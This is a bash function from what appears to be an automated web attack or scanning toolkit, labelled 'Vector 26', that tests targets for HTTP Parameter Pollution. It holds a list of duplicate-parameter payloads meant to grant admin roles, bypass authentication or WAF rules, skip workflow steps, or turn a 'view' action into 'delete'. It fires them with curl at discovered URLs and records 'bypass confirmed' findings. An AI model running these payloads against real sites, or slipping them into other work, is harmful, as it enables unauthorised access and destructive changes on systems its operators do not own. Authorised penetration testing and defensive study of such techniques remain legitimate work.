#!/usr/bin/env bash
# Vector 26: HTTP Parameter Pollution (HPP) — WAF/security bypass
# Desc: Injects duplicate params to bypass WAF rules
# Severity: HIGH
# Proof: Parameter smuggling confirms bypass

vector_hpp() {
  local target="$1"
  local report="$2"
  local domain=$(get_domain "$target")
  local findings=0

  print_info "Hunting HTTP Parameter Pollution..."

  local base=$(get_base "$target")
  local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep '?' | head -10)

  [ -z "$urls" ] && urls="${target}?test=1"

  # HPP techniques — duplicate params with different values
  local hpp_attacks=(
    # Parameter pollution
    "admin=false&admin=true"
    "isAdmin=0&isAdmin=1"
    "role=user&role=admin"
    "user_id=1&user_id=2"
    "debug=0&debug=1"
    "access=denied&access=allowed"
    "authenticated=false&authenticated=true"
    "verified=0&verified=1"
    # WAF bypass via encoding mix
    "id=1&id[]=2&id=3"
    "id=1%26id=2"
    # PHP array pollution
    "user[]=admin"
    "role[]=admin&role[]=user"
    # Session/state override
    "step=1&step=skip&step=complete"
    "action=view&action=delete"
  )

  for url in $urls; do
    # Extract base URL (without params)
    local base_url=$(echo "$url" | cut -d'?' -f1)
    local existing_params=$(echo "$url" | cut -d'?' -f2-)

    for attack in "${hpp_attacks[@]}"; do
      # Test with HPP appended
      local test_url="${base_url}?${existing_params}&${attack}"
      local response=$(curl -s --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)

      # Check for evidence of HPP success
      if echo "$response" | grep -qi '"admin":true\|"role":"admin"\|"access":"allowed"'; then
        print_find "HPP Bypass Confirmed!" "$attack"
        echo "SEVERITY: HIGH
VECTOR: HTTP Parameter Pollution
DETAIL: Duplicate parameter caused server-side value override
URL: $test_url
PAYLOAD: $attack
EXPLOIT: Bypass WAF, access unauthorized data" > "$REPORTS_DIR/.finding_hpp_$(date +%s).txt"
        findings=$((findings + 1))
        break 2
      fi

      # Test for different responses (one should work, one shouldn't)
      local clean_resp=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
      local hpp_resp=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)

      if [ "$clean_resp" != "$hpp_resp" ] && [ -n "$clean_resp" ] && [ -n "$hpp_resp" ]; then
        local diff=$((hpp_resp - clean_resp))
        if [ "${diff#-}" -gt 100 ]; then
          print_find "HPP Response Differed" "Response size: $clean_resp → $hpp_resp bytes"
          findings=$((findings + 1))
          break 2
        fi
      fi
    done
  done

  if [ "$findings" -eq 0 ]; then
    print_info "No HPP found"
  fi

  return $findings
}